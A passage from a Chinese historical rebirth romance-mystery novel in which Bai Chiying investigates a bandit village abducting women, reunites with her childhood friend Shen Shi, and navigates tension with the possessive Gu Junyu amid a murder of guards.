白持盈当然知道两个人分头行动更好,她只是……她只是……
只是什么呢?
窗外月光疏疏漏下,白持盈看着他苍白的脸颊,将手抽了出来,复又轻轻抚过他眉间朱砂。
冰凉的没有温度。
幽幽的冷月光融成一滩雪水,白持盈叹过一口气道: “陈家庄的月夜多凶险,你照看好石当家的。”
辜筠玉一笑,伸手握住她的指尖,并未多语。
*
两道黑影自陈家庄背后一山坳分次跃出,复又消失在一折一折的庄园内。
辜筠玉绕过西门守卫,一个手刀将那立时要喊人的汉子放倒,悄无声息地融入夜色。
但它并未朝着那灯火通明的连房去,反而绕道而行,走过一栋设计古怪的院子,自一处造型怪异的假山石间穿过,那路愈走愈狭,一贯的阴冷诡异,只木材水潮的气味散发,甚至有股子腥咸。
男子却未犹疑,仍摸索着迅速走了下去,走到极窄处时,忽而脚下一绊,踢到了一冷硬之物。腥臭难闻,该是陈|尸。
但辜筠玉脸色不见任何变化,淡漠地好像脚边只是一块儿长满青苔的巨石一般,抬脚跨了过去。
秘道窄得连空气都稀薄了,辜筠玉屏住一口气,一点一点擦身经过,终于在两刻钟后得见幽幽天光。
果真没错。
他将手中一直捏着的那封图文怪异的迷信持到火折子上烧尽了,才抬脚登上那黑岩、
这是一块儿巨大的岩石,浮露在水面上,足能容纳百十来人马。石面下是静如沉墨的黑水,因为无风而不漾波痕。
水却是更宽更阔的,能行出海的大船,人站在石上,石浮在水上,反成一芥微尘。
这儿必有其他入口,入口也必有重兵把手,故而辜筠玉只选了密信中提到的这窄道进入。
他环顾四周,拾起一块儿碎石向那壁上击去,循着碎裂回声音变的方向望去,毫不犹疑地跳进了水中。
那道冰冷的、死气沉沉的黑水。
浑身刺骨疼痛乍起,他愣是没皱一下眉头。
守卫这陈家庄最大的“
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秘密”的匪兵头子,如何也没想到,自己一队守卫暗室的人马,会死在一呼一吸之间。
辜筠玉按着那机关摩挲半晌,“咔哒”一声,石门轰然打开。
内里烛光跃动,将辜筠玉苍白的面颊分出一道阴影。
*
白持盈坐在柴房的背光处,呷了一口茶水。
这茶水是新上的毛尖,香而不涩,别有一番甘甜韵味。
等桌上的香又燃落了一截,白持盈才缓缓将那盏吃了一半的茶放下,与跟前面露狰狞的汉子道:“你若说出这陈家庄到底拐带如此多女子是要干甚,我等兴许还能放你一条姓名。”
三当家的扭过头冷哼一声,欲一口唾沫唾到白持盈脸上,却被真宁的侍卫的一把捂住口鼻,只能呜呜呜在一旁面色铁青地挣扎着。
白持盈见他快被捂死了,才懒懒一挥手,吩咐侍卫先放开。
这人一有喘息之机,便开始破口大骂道:“……哼,还是为你是什么菩萨呢,结果不也是个阴毒的妇人!”
见他出言不逊,侍卫上前狠狠踹了他命根子一脚,听得这人哇哇大叫一阵,才又添了一脚。
白持盈将剩下的那一底子茶水端起,往其中捏了点儿什么粉末,那三当家的睁大一双红肿的眼睛看了,连连想往后躲去,却被绑起来困在了椅子上。
那盏茶水全灌进了这汉子的喉口,一阵挣扎之音过后,柴房复又恢复了宁静。
有灰雀飞到檐角,掸落一丛积雪。
白持盈沉默着,真宁和侍卫也沉默着,三人一路随着冷波凄凄的月色踱步到金玉堂内。
“我是不是很吓人?”觉察出真宁今晚的踌躇欲言,白持盈扯着袖口,半晌才问道。“方才说了不要跟进来偏不听,泪花都被吓出来了。”姑娘伸手,揩掉了真宁因为害怕而盈出的泪水。
真宁却摇摇头。
“一、一开始确实是吓、吓了一跳。”真宁有些结巴的声音回荡在空寂的大堂。“不过这样的姐姐却也、也别有一番生趣,像个活生生的人了。”
“而且姐、姐姐这么做肯定有你的道理!
听她如此讲,白持盈反倒被逗笑了,摸了摸她的发顶。
“别学姐姐,你好好念书就好。”
她不提便罢,提了真宁更难过,嘟嘟囔囔抱怨着:“昨儿《孟子》未背、背下来刚被夫子打、打了手板呢,姐姐快休、休要说了。
看着她因气愤而变得鼓鼓囊囊的腮帮子,白持盈乐得戳了戳,郁郁的心境霎时好了不少。
“跟谁学的你,这般会讨娇。”白持盈本是开玩笑的一句,却未料得真宁嘿嘿一笑,一双杏眸弯成了月牙状。
“自然是有人记挂着你。”
登时明白了是怎么一回事,白持盈耳根飞红,心又紧了一瞬。
“他走时还跟我说‘看着你白姐,叫她每日少生气’。”
“真把我当小孩子了?”白持盈反问道。
“当个小孩儿有什么不好?你应该多当小孩儿。”真宁脸蛋儿因为年纪小而粉里透白,人也俏皮,话也俏皮。
白持盈又拍了拍她的发顶。
今晚的月色忽然格外亮堂了起来。
二人还欲再添二三言消解难耐气氛,却忽听得堂外一阵马蹄声。白持盈原以为是辜筠玉与石当家的早回来了,还未来得及起身瞧过,便听得一声清亮的少年音起。
“阿盈!”
沈是翻身下马,抖落一肩夜雪。
14.人有意礼问远边塞,时不察劫生小芥堂
男子一身风雪而来,已与记忆中模样大不相同。
儿时丞相府与平远将军府只有一街之隔,白持盈打小是个坐不住的,偏领着一群姐姐妹妹的去翻沈家的墙,偷瞧沈老将军带着小孙子练武。
故而当时的长安城内,常见一奇景——一群小萝卜头趴在平远将军府青苔脱落的枪头,看着墙内的另一个小萝卜头练拳射箭。
沈是那时一张脸还圆圆的,总想着侧头偷偷望墙头的小姑娘——毕竟那小姑娘玉团子似的,实在可爱。
他才一有了溜神的苗头,便被沈老将军发现,狠狠拿木棍抽了一下。
可每次白持盈偷偷爬上来瞧他练武,他还要偷看。
沈老爷子此时也只能长长地叹一口气,而后将练武的时间再提前些。
到了严冬的时候,白持盈爬不上那墙头,便嚷嚷着要进将军府玩去,被苏夫人板着脸教训一顿,正蔫蔫时,却见将军府侧门开了一道小缝,一身劲装的沈是朝她挥手。
“阿是长大会是什么样子呢?”
“那肯定是长安城第一份的风流倜傥、玉树临风。”
正与此刻的沈将军重合。
算上上辈子,自己竟有快二十载未曾见过沈是,少年披星戴月兼程而来,带着她年少时的绮丽幻梦。
见她发呆,沈是抬起手在她眼前挥了挥,歪头笑道:“怎的,不认识我啦?”
白持盈赶忙回过神来,扫开他在面前乱晃的手掌,玩笑着说:“我当真是不认识了,却不知道眼前的是哪位?”
却见沈是灿然一笑后作捂心口状:“真是好伤心,你从前还吃过我家的桂花藕粉糕呢,如今怎的连人都认不出来了!”
白持盈被他逗笑,连连请着人进了茶馆内,为远来客点上一支蜡烛。
“就你做的那桂花藕粉糕,是叫人吃的吗?”说罢,她沏上一盏茶水,便要端给沈是,玉似的指尖在月色下甚至显得有些剔透。
沈是接着那茶盏,却未松手。
他握住白持盈的手并那茶盏,定定看了半晌,叫白持盈挣扎不脱。
手中茶盏一松,滚烫的茶水洒了少年一身。
沈是忙抱歉道:“对不起。”
瞧着他衣角一大片湿痕,白持盈才忽然回过神来似的,慌忙客气:“你与我是什么关系,怎还说起这三字了。”
却不料沈是听她这厢话,反惨淡一笑。
“你还是怨我。”
白持盈轻笑一声,状似语气轻快:“怨你什么?”
“怨我……”看着姑娘温润恬淡却自有风骨的眉眼,沈是忽地什么也讲不出来了。
怨他为何当年没有说服父兄为太子和白大人求情,怨他为何没有在她最落势的时候护住她,怨他为何六年来都未曾寻到她。
怨他身后太多,怨他为她太少。
姑娘却盈盈一笑,淡淡摇头:“其实从未怨过。”
沈是露出一个比哭还难看的笑来。
“我倒是望着你怨我。”
六年来戎马边塞的将军望着眼前柔枝样的姑娘,忽然发现自己一如六年前一般,不知拿她怎么办。
“怎的来洛阳了?”
白持盈见他兴致似乎落了下来,不想再说这叫两人难过的东西,故友相见不应当只添烦恼,于是便起着话头与他闲聊,二二三三讲着少年欢快旧事,却皆是心不在焉。
其实仔细算来,她还是轻轻地怨过的。
在陈家庄的那两年,她悄悄想过许多幻境,想过母父忽然出现,还喊着自己盈儿,担心地问着自己为何眼泪盈眶;想过舅公带人围了陈家庄,他向来带兵剿匪有一手,定能将那庄主治得服服帖帖的;也想过成了大将军的沈是领着幽州的兵士千里奔袭而来,告诉她贼人已死,政还清明。
这其中她曾经最怨沈是。
毕竟这位如今深受皇帝信任的大将军,曾经是与她有媒妁之言的竹马。
可到头来皆不过是癔梦一场。
那如今她怨他们吗?
并不。沈是背后有偌大的平远将军府,舅公已被父亲牵连至一贬再贬,他们还有日后的生计要从皇帝那儿讨,皆有难处。
故而她谁都不怨,只是遗憾。
遗憾那年冬去春来,她没能等到竹马成双,也没能等到柿香盈门。
况且、况且自己后头又遇到了那个活冤家。
白持盈苦笑一声。
二人东拉西扯一番,沈是却忽然止住了话头,他瞧着白持盈磨得有些褪色的袖边,沉默了三息才开口:“……阿盈,那如今你愿意跟着我回幽州吗?”
本在呷着茶水的白持盈听他这言霎时被呛了一口,拿袖子捂住半边脸,虚虚地咳嗽起来。
沈是忙给她拍背顺气。
等那股子辣意下去,白持盈将茶盏转了个转,脑海中不知怎的忽映出了辜筠玉委屈巴巴的脸。于是她一双美眸定定地看着男子,而后温柔一笑:“阿是,如今我在洛阳很好。”
提着的心终是没有落回肚子里,沈是无奈摇头,将白持盈那杯未饮完的茶水拿到自己跟前一饮而尽。
“那以后呢?”他又问。
“以后的事儿现在怎么晓得呢?”白持盈站起,不再继续这个话题,她看着后院儿通明的灯火,喊了石小四和石小七,叫二人别转悠,趁早了睡下。
沈是望着姑娘脸颊白亮的绒毛,在这一刻明白,有些东西走了就不会再回来。
他住在了一处离金玉堂并不远的客栈中,住的时日未定。
*
天色再大亮的时候,晨风静了些,今日来气候回暖,茶馆门前柔袅的柳枝泛着新黄颜色,白持盈在门口踱步几个来回,只踱得石小四头晕眼花,才堪堪停下。
“怎的还没回来。”石小四在桌旁坐着啃黄面馍馍说出了白持盈想说却不好意思说出口的话,一早上竟也焦急得只吃了三个,比平日里少了许多。
“谁想着他了,我在担心石姐姐。”
“我又没说是他!”
白持盈自觉羞腼失措,不再多添傻话。
沈是从客栈赶来后,听白持盈讲了生发在洛阳城的事儿,登时惊得连茶都忘了吃。
“从前只知官场勾当历朝历代皆有,却不知竟龌龊至此。”沈是擦着他那柄锃亮的剑,剑身倒映出长安男儿已经长开的、凌厉的眉目。“我来得不巧,若早些,还能与这两位姑娘同去。”
他听了白持盈的安排,只恨自己未能再快些来。
“其实只有我姐姐一个……”
石小四瞧了白持盈一眼,将头缩到了衣裳里,讷讷想添两句话,却被白持盈瞪了一眼。
沈是没瞧见白持盈的小动作,只疑惑地看了这胳膊极长的小姑娘一眼。
白持盈望着远处积雪渐消的群山,长长地叹了一口气。
今儿也没什么心思开张讲书,她坐在茶凳上,拿出张空白的宣纸,准备着就此次女子被掳之事作个文章。
沈是瞧她铺展开墨宝,只熟惯于心地站起,靠在她身侧为她研着墨。
“你从前不是最不爱做这无聊营生么,今儿怎的倒愿意了。”
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小时候沈是嫌墨臭,一贯是不爱进学堂的,后来还是因着白持盈是个极喜好读书的,才引得这小爷自觉自愿地去了学堂。可他去了学堂又哪是个听话的主儿,只每日领着一帮王公子弟脑袋空空来,肚子空空去。
为了“劝学”,白持盈便担起了管着沈大少爷,不叫他溜号的大任务。
沈大少爷这不愿意那不愿意,唯这研墨一事,嘴上喊着无聊,手和身子却老实得很,乖乖能在一旁静一个时辰。
故而白持盈从前的墨,大致上都是沈大少爷给研的。
看这人研墨的手法比从前娴熟许多,白持盈打趣道:“想来近些年吃了不少书了,连墨都研得比从前香。”
沈是瞧了她一眼,眸中是叫白持盈探看不清楚的灼灼颜色。
“阿盈,幽州有种极奇的墨,如果将来边境太平了,你会和我去幽州瞧瞧吗?”
白持盈没料到他又如此问,先顿了一瞬,才绽开一抹笑来:“不那么太平也会去的,小时候就想去驰马了,不过确实不是现下,现下有要紧的事儿,再过两年吧,到时候去幽州找你,吃手抓羊肉去。”
见她话未像昨日踌躇,沈是放下手中墨锭,坐到她正跟前,点点头。
白持盈被他瞧得有些握不住笔,写下第三章话本子后,终于抬头道:“你瞧着我做什么。”
伸手将那张未干的宣纸提起晾上后,沈是才回头看着姑娘沾了些墨的脸颊,怔怔道:“……没什么,我只有,只是很久没有这样看过你了。”
他如今每看白持盈一眼,心中便愈如刀绞。她本应该坐在银碳的紫山炉旁,有父母呵护,有兄姊陪伴,当这全天下最幸福的姑娘。
眼前忽然一瞬模糊,沈是仿佛又见东宫谋反的那个雪夜,自己策马便要长驱至宫门口,只是人还未来得及将积雪踏上印子,一转身,便见叔父带着阖府上下乌泱泱跪了一片。
一百多号人啊,上至耄耋的老祖母,下至待哺的小堂妹,就那样跪成一片。
于是他的马没能飞驰起来。所以此后六年间,纵是奔驰在幽州广阔的古战场上,他的马蹄也总是镶着镣铐。
他痛恨自己当时肩背尚且单薄,却时至如今也仍无对策。
因为他们面对的,是天下臣民的帝王。
姑娘见他郁郁不能解,撑着桌子站起来,狠狠杵了她肩头一下,厉声道:“沈是!清醒点儿!你如今是大梁领着十万兵马的少将军,当如何不当如何,你比我清楚!”
沈是从回忆中惊醒,就这样怔怔看着她,突然苦笑了起来,笑着笑着便有些想哭。
他的嘴唇跟着心脏一起颤动几瞬,却在姑娘镇静凛然的目光里丢盔卸甲。
是了,这就是白持盈,一直是这样的白持盈。
在无眼刀剑前都未曾惧怕分毫的沈将军,此时红了眼眶。
“我都二十好几了,你还这样训我,好没面子的。”
他眼前一片模糊,心中却清明许多。
“你接着写,我瞧瞧从前的。”沈是坐在白持盈身旁,拿起那《新昭君出塞》瞧了起来。
二人一时无话,却又静谧相协如同无数个过去那样。
她伏在桌前提笔落墨,他就站在一旁瞧着,瞧过无数个春夏。
待白持盈写完新话本子,已是晌午时分,她正欲将一桌子墨宝收了,却额角突突跳了几瞬,一股子不良预感滚上心头。
果然,只听得后堂一阵奇怪响动,乒乒乓乓,有人动手打斗。白持盈先是愣过一刹,而后瞪大眼睛脸色骤变。
“不好!”
15.奇怪事偏偏今日始,从前客双双明日来
是那柴房中还捆着的杨惊生。
白持盈前世陈家庄的记忆中全无这人,实在是怪异非常,这人又总是在半夜疯疯癫癫地说些叫人听不懂的话,她欲从他口中套出些什么来,故而还未杀他。
此刻石当家的和辜筠玉皆不在客栈内,几人商议后将真宁的四个侍卫留了下来看守,虽功夫不比顶尖高手,对付些山匪却是绰绰有余的。
但此刻,白持盈带着沈是和石小四赶到后院的此刻,却见那四个侍卫早已头颅滚地,血溅青石。
他们还睁大着眼睛,鲜红汩汩迸溅,显然是未来得及作出任何反应,便已命丧黄泉。
满院死寂,哪儿还有杨惊生的影子。
白持盈正想转头捂住石小四的眼睛,却听滴答、滴答,一阵腥骚味儿漫上鼻尖。
小黑木头似的姑娘在一旁发着抖,手脚颤颤,无声地哽咽了起来。
“哇……我好像又给你丢人了……”
*
“高手中的高手。”沈是脸隐匿在一片阴影下,眉头紧皱。
二人细细查过那刀口,却见伤口处极薄极细,几乎是霎时夺了人性命的。
白持盈哄好了石小四,小姑娘不愿意一个人呆着,便蹲在白持盈身旁,也不坐着,也不站起,只愣愣蹲在木桌旁,看着眼前一群蚂蚁成队朝血迹爬去。
像失了魂一般。
白持盈摸摸她脸,又摸摸她脑袋,沉沉叹了一口气。
“你觉得这陈家庄有能力请到如斯高手吗?”白持盈虽问出来的话,话中却不带一点儿犹疑。
沈是面露疑惑。
这太奇怪了。陈家庄庄主与三当家的情同手足,上辈子陈家庄被剿灭时,那陈家庄主竟然用一个儿子的性命换了陈三当家的性命,如若他们真有如此大的能耐杀人于无声,那为何不早几天动手,将那陈三当家的也救出去?
偏偏又如此熟知他们动向,在辜筠玉和石当家的回来之前动手,白持盈心中大骇。
如若不是沈是阴差阳错地赶在这个档口上来找自己,估摸着这一堂姑娘都得一同遭殃!
她顿时起了一身冷汗。
看着外间地上叫白布盖了的四个侍卫,白持盈懊悔万分,只觉得自己太过鲁莽,白叫旁人搭上了性命。
她一时心绞痛地不能呼吸,深觉自己似乎陷进了某个涡流无法脱身。
本一直瞧着蚂蚁的石小四忽然抬头,扯了扯白持盈的衣角。
白持盈本还意外着她怎的忽而不郁郁,转身一瞧,却是石当家的回来了。
女子一身黑衣劲装,还是去时模样,不过较日前头发凌乱了些,她抬脚进门,人未至声先到:“我回来了!小四你给白姑娘添乱了没……哎?”
石当家的话头还未说尽,只迈进一只脚来,却觉乍然瞧见了一个陌生男子,登时将那只脚伸了回去,重新看了眼门头的牌匾,才满脸犹疑地走了进来。
她与白持盈面面相觑,正等着白持盈开口。
“这位是从长安来的……”白持盈一时不知该不该向石当家的坦露沈是身份,故而话上便打了一结。
沈是却是朗然一笑,向石当家的行了个抱拳礼。
“在下沈是,是持盈在京时的好友。”
“啊!沈公子啊!你好你好。”石当家的挠挠后脑勺,有些摸不着头脑地瞧了白持盈一眼。
没顾得上回她探究的眼神,白持盈只向后探看了一眼,未见辜筠玉身影,登时有些着急。
“那个谁呢?”
“谁呀?我不知道你说的是谁。”
白持盈刚一回神,却见石当家眼神揶揄,意味深长地看着她。
这是没事儿了,白持盈松下一口气:“怎的没一同回来?”
“给你买藕粉桂花糕去了。”石当家的啧啧两声,抬头指向两条街外的糕点铺子。
“这位妹妹倒是心细。”沈是未瞧出她俩之间来往暗语,只随意添了一句。
正将盏热茶送到嘴里吃,石当家的听了这话,一口把茶水喷了个干净。
她眼神奇怪地看了眼一头雾水的沈是和低头不语的白持盈,放下茶盏就开始哈哈大笑。
笑着笑着,辜妹妹回来了。
辜筠玉左手提着一包新做的藕粉桂花糕,右手拿着只风车,百年不变的笑意在瞧见沈是的一刹那凝滞一瞬,而后又仿佛什么都没瞧见一般走了进来。
竟完全不是白持盈想象中瞧见沈是的样子。
“辜筠玉?!”
沈是瞧着来人从“妹妹”变成男的,又从男的变成镇国公世子,先是一惊,后迅速起身护在白持盈跟前。
辜筠玉却未理他,只盯着白持盈柔声道:“盈娘,带了藕粉桂花糕。”
白持盈听到沈是喊出的名字一愣,还未反应过来,因着习惯就想伸手接过,叫沈是抢了先,那提新出的藕粉桂花糕没能接到他手里。
手中一时落空,辜筠玉面上瞧着也未见来气,只显得有些落寞:“恰好买的多了,大家分了吃也好。”
他垂眸,一时叫人看不清眼中神色。
白持盈见他脸色比离去前还苍白,心中更难受几分。
沈是还欲再说些什么,却被姑娘伸手制止。
一时堂内气氛怪异更甚。
石当家的插不进去话,只得低头去寻意外蹲在桌角的石小四,却察觉了小姑娘的不对劲儿。她皱着眉问:“怎么有话不说,这副怂样。”
瞧了自己大姐一眼,石小四竟罕见地并未回嘴,又“啪嗒”一声掉了一颗泪珠子,指了指后院,声若蚊讷:“死……死人啦。”
一时满堂目光皆集到了石小四身上,把原本咋咋呼呼的小姑娘吓得往桌子下面躲了躲。
眼前是还未开煮的一锅乱粥,白持盈脑子“嗡嗡”一声响,只得静下心来开口,陈说着不久前在茶馆后院发生的凶案。
“有人来劫杨惊生,安王府的那几个侍卫……全死了。”
“什么!”石当家的当即一惊,也顾不得再训唯唯诺诺的石小四,疾步往后院儿走去,果真见四卷草席在地,裹了四个两日前还活生生的人。
辜筠玉脸色一变,也不再虚倚着门沉默,反是上前拉了白持盈的便要查看,叫沈是拦了下来。
“你做什么?”
白持盈顿着看了两人一眼,觉着这气氛也忒剑拔弩张,又怕叫辜筠玉担心,便转了一圈儿,伸出手来给他瞧:“我没事儿,那些贼人没进大堂。”
“况且有我在。”沈是哼了一声。
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辜筠玉未理他,直勾勾瞧着白持盈,过了半响才淡淡道:“你这两日一直同他在一块儿?”
“是昨儿……”不知怎的,白持盈总觉得自己现下还是顺着辜筠玉的气走比较好。
“对的,我们一直在一块儿。”沈是则极不喜欢辜筠玉总笑吟吟又欲言又止的这幅样子,叫人觉着有如芒刺在背。
谁知辜筠玉听了这话眼神一瞬冷了下来,他又缓缓靠回了门上,轻飘飘扔下一句:“那这样的寒天,你为什么叮嘱着盈娘带上手捂?”
白持盈原正搓着又发痒的手,听这话一愣过一瞬,停下了手上动作。
沈是呆在原地。
“我不知公子何故对我如此敌意,若是从前多有得罪,公子不妨细说,我先再次谢罪过;如若你我二人并无甚交集,此下权当交个朋友了。”他话音刚落,便虚虚咳嗽一声,白持盈上前便要扶他,倒先叫辜筠玉捉住了手腕。
白持盈轻叹了一口气,转身对沈是解释:“我来洛阳时救下的他,带郎中看了,说是磕了脑袋,暂时失了忆,你莫凶他。”
“我什么时候凶他了?”沈是瞪大了眼睛。“你知道他是谁吗?”
这一句话算是戳到了白持盈的心窝上,她深深吸了一口气,装作不知:“他是谁?”
“镇国公世子!他就是个活阎王!你知道他……”沈是说完,看着白持盈不大好看的脸色,觉得可能是自个儿语气太不好唬着人了,又软下声来。“阿盈,抱歉……我再与你说吧,你卧房在哪儿?可有手捂?我替你取去。”
“不必……”白持盈望着树上落下的一枝积雪,迟疑道。
“自左起第三间房,在右边那扇门后,里面还有旁的东西,记得别弄乱了。”辜筠玉倚在门上,仍是那副不紧不慢的样子。
沈是迈出去的脚又伸了回来。
“你怎的知道?”
辜筠玉未回他,将手中墨玉扳指转了一圈儿,朝他微微一笑。
*
最后两人都未进去那屋,是白持盈自己取的手捂,她勒令这二人不许再说话,尤其是辜筠玉。
“我晓得了,不与客人计较。”
白持盈又觉着他话里有话,却一时挑不出错来,只得点点头。
“你脸色怎的又如此差了?”等沈是被不情不愿地派去找安王爷,石当家的抬那尸体的空档,白持盈一边儿问,一边儿将那手捂在手中揉来揉去,话中带着几分试探。
辜筠玉却一笑,将她露出来的半截腕子戳回手捂中,淡淡抬眸:“陈家庄夜里特别凉,吹得人难受。”
他将一只藏在一旁的右手从袖中拿出,露出青红一片的伤痕来。“庄子不小,机关也不少,千算万算还是算差了。”
见那足有一掌长的伤口,白持盈心中一惊,忙拉过他手来低头查看。
“怎的又不说,我去找找药箱。”说罢,她便赶忙往两人住的屋内去,故而未看到辜筠玉晦暗的神色。
他确实没想说,没什么好说的。但就在刚刚,他改了主意。
那道结痂的伤口因为辜筠玉刻意的用力而洇出汩汩鲜血,他却面无表情,只看着那血一滴、一滴落到了地上。
他看上的雀鸟,还是只讨他一人欢心的好。
16.纸花飞吹动不安气,前世苦牵扯今生泪
静,太静了。
沈是不怎么喜欢这安王府。
若非要说出个什么具象的不好的来,他倒也叙说不上,可这偌大的宅子就是叫人觉着不适。
安王府的大门半点儿不气派,准确说来是有些小家子气,宽度只能容三人同过,甚至连一般富贵商户的门头都不如。
越过这窄门进来,处处倒是花楹高筒颇为精致,却有些工凿的匠气,且未免陈旧了些,只让人觉得华而不贵。
沈是摸着手中的长剑,想着白持盈的吩咐,趁着安王府管家还未来,又仔仔细细看了一遭。
看着眼前这高大得遮住后院一切的影壁他终于知晓这从心底窜出的怪异之感是从哪儿来的了。
这府邸的布局处处与一般府邸不同。
并非江南精秀的造局,这地方是一房挡着一房,一屋挡着一屋,且建筑偏扁窄,倒像是在层层套扣着什么机关般。
但沈是大致记了来时的路,准备回去画给白持盈看。
正想着,未见安王府的官家,倒是等来了真宁郡主。
安王府影壁周遭形色逼真的纸花叫风吹灯,在寒风催人的凛冬仍娇艳欲滴。
*
白持盈托着辜筠玉的手,给他搽着药,未再做声。
姑娘的碎发有些叫风吹得散开,辜筠玉伸手,将那碎发给她别回了耳后。
白持盈耳边一痒,待侧眸去看时,发现辜筠玉那只修长的手顺着她的耳侧滑落,抚上了她的下巴。
她一惊,被他好不容易有些温热的手灼烫了似的,忙要错开,却叫辜筠玉捏住了下巴。
姑娘长而密的睫毛微微扇动,因为羞恼,脸蛋似半剥了壳的荔枝,白中带红,水嫩嫩的一片。
“你作什么?”
白持盈不知他今儿这是怎的了,伸了手就要掰辜筠玉的指尖,却见眼前人忽然一笑松了手。
她正讶异着这人毫无规律可言的作为,却听辜筠玉“嘶”了一声。
恍然才觉自己手下力使得过大了,白持盈低头,将那绑带松了松,恨恨道了句:“你真是活该。”
辜筠玉见好就收,乖乖地嗯了一声。
他看着白持盈,忽而没头脑地来了句:“我也不知那位公子何故那样看我。”
白持盈一愣,而后才反应过来他说的是沈是。
沈是确实对辜筠玉意见天大,这辈子是这样,上辈子也是。
说起来自己其实欠沈是良多。
上一世与辜筠玉的开始太过于美好,美好得尽管有时她觉着辜筠玉此人没有表象上那么纯良温柔,却总忍不住给他找借口。
那时她是镇国公府阖府上下人口中的“小夫人”,辜筠玉虽然不怎么限制她的活动,她却不怎么外出走动。
她那时身子本就不大好,在外头走两步吹一阵风便是要大病一场,她出去不一定自个儿欢喜,但她出去之后病了,府中照顾她的丫鬟侍卫们必定要遭殃。
她在陈家庄试了两年毒,本也没那么喜欢再见生人,后来便也不怎么出门了。
反正她待在府中,也能修修书,破一破棋谱子,偶尔等辜筠玉回来了,二人还能对两句诗,日子过得也不差的。
她常这样对自己说。
这已经是求不来的东西了。
只是后来二人发生了第一次争吵后,辜筠玉便剥下了那张君子皮,她多看谁一眼,谁就要遭殃。
为了不祸及他人,白持盈就更是只呆在自己的院子里了。
偶尔看着窗外飞腾的燕雀时,她也会想长安城外到了春天便一径蓬勃生绿的芥麦。
那样盎然的生机。
过了几月,沈是回景述职,白持盈心砰砰地跳,她私下里偷偷与沈是通了书信,求他带自己离开长安城。
沈是得知辜筠玉做的混蛋事儿,气得差点儿把镇国公府大门上的牌匾砍了。
那天小小的马车眼瞧着就要走出丹凤门,白持盈一边流泪,一边颤抖着手护着自己小腹。
她想着如此断了也好,还能在心中留点儿好影子。
但她显然低估了辜筠玉此人。
她从开始所做的一切,他们逃离的安排,辜筠玉门清。
丹凤门前,马车帷幔被缓缓掀开,辜筠玉修长的手戴着墨玉扳指,有些上挑的眼里是叫姑娘一惊的阴晴不定。
“盈娘,随为夫回家吧。”
他冷冷开口,如同潜伏已久的毒蛇,用力拉住了白持盈发冷的手。
此后数年,沈是长守云山关,再没能回到长安城。
他看她兴许像是精心饲养了良久的美雀,在金玉巧嵌的笼子里,状似决绝地扑腾了两下,还是得回到笼子里来。
景物渐渐模糊,后面的事情竟大记不清楚了,只剩下二人无止尽的争吵。
瓷器和两颗心一同碎裂。
眼前这个神色中还带着委屈的辜筠玉渐渐与记忆中的那个重合,白持盈心神一颤,一时不知作何反应,只能错眸不去看他,
辜筠玉良久都未得到白持盈的回答,倒也不恼,又问了句:“我若真是个活阎王该如何?”
那还有假的?白持盈心中轻笑。
辜筠玉状似神色郁郁地低头,也不看她,问完这句便静了下来。
望着远方阵阵游走的云,过了很久很久,白持盈才回他:“事有所可为不为,有所必做不必做,如果真做了什么有违天理大道之事——”
她看着辜筠玉一笑。
“便让你变成我家门槛前的青蛙吧!”
姑娘俏皮一笑,小跑两步向大堂去。
辜筠玉本神色晦暗,听这言倒是愣住了。
石当家的抬好那几具尸体,辜筠玉拿了根棍子,将盖在上面的白布掀开,细细打量着这尸体。
“你是否也觉得奇怪?”
白持盈没头没尾地开口。
辜筠玉点点头。
石当家的在一旁踮起脚尖也探看着,听二人言毕,忙问道:“哪儿奇怪了?”
白持盈指了指那尸体上的伤口。
“他们脖子处的伤口十分平整,但每个的长短、深浅、朝向却几乎都有所差别,。我们说这些人身上并未打斗痕迹,那么最可能的就是从背后毙命,但伤口却告诉我们不是,他们是从正面被人杀害的。”
“为何?”石当家有些摸不
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着头脑。
“因为一般来说,人都是右撇子,如若总背后攻击,这些刀口应当是左浅右深,事实上,这些刀口确实右浅左深。那么这些刺客要不都是左撇子,要不就都是正面杀了这些侍卫。”
“而这些人瞳孔微张,显然是看到了什么才如此震惊——是什么呢?便是眼前有人霎时持刀刺向自己,自己却来不及反应。”
石当家的恍然大悟。
“那么是什么让他们吃惊成这样呢?”白持盈叫辜筠玉将他们身上的衣裳也挑开。“最有可能的就是他们吃惊于行刺的人——这些杀人凶手,他们认识。”
石当家的霎时跳得老高,结结巴巴问:“这又是为何?”
辜筠玉接下了白持盈的话头。
“他们身上不是打斗痕迹少,而是根本没有打斗痕迹,说明他们根本没料到这些刺客来是杀他们的,所以并未防备。”
未做防备,故而一击致命。
石当家的搓了搓自己的胳膊,分明是大白天,却感得阴风阵阵。
正当几人围着那尸体探看时,沈是沉着一张脸回来了。
见他是只身一人回来,白持盈难免诧异,便问:“安王说什么了吗?”
沈是也顾不得和辜筠玉你来我往地互相膈应,只顿了一会儿,沉声道:“我根本没见到安王。”
“什么?”
“没见到安王,只真宁来说过两句。”
“她说什么了?”
“她说无妨,爷爷不会怪罪的。”
精心培养的侍卫死了四个,却只是无妨。
虽理上来讲,白持盈应当高兴,若安王计较,怕又是个麻烦;可当下这副轻飘飘的云淡风轻模样,却同样叫人不适。
“安王爷只让真宁带了两句话,他说保一方百姓安宁,他们也算是死而无憾了。”
石当家的听了这话,顿时松了一口气,大咧咧坐在石阶上:“哎呀,我还以又是个薄人命的伪君子呢,不想错怪了,是个真贤王!”
这话面子上说得确实无错,但白持盈还是觉得奇怪。
一时半会儿咂摸不出个所以然来,白持盈几人先将那几具尸体裹了,后抬上草车,准备着先寻方山将人葬了。
*
来到山上时,草色已发了黄,嫩嫩的柳芽点了尖儿,白持盈拿着铁锹,将土实实埋上了才抬头。
日头已经开始落下,昏昏的黄晕一片,把本惨白的天色混出层层红金的鳞片来。
明天兴许是个好天气。
白持盈坐在山间青石上,望着不远处的洛阳城,又片极大却显得有些空落的宅子,正是她外祖家。
怎么就像是人间蒸发了一般呢?
上辈子,连同这辈子,她四处向人打听搬走的苏家的消息,却都是一无所获。
辜筠玉从前说找不到,她还不信,总觉得他为了留住自己诓骗再三,如今看来,不想放走自己是真的,找不到苏家也是真的。
她长长叹了一口气。
正当她起身要走时,丛草耸动,一穿着破烂行为怪异之人气喘吁吁扶着膝盖道:“且慢!诸位且慢!莫走莫走!在下有要事相商。”
17.明里火烧两端红浪,暗中箭起一地风波
洛阳令王大人近日很不好过。
无旁的,一是那叫做“金玉堂”的小茶馆日日里净臧否些古代官员事儿,又暗暗影射那陈家庄欺男霸女之歹行,一时引得民声鼎沸,自个门前的鸣冤鼓都快被敲破了。可偏偏……偏偏那为首的几个人,他拿不定主意,又不敢去惹。
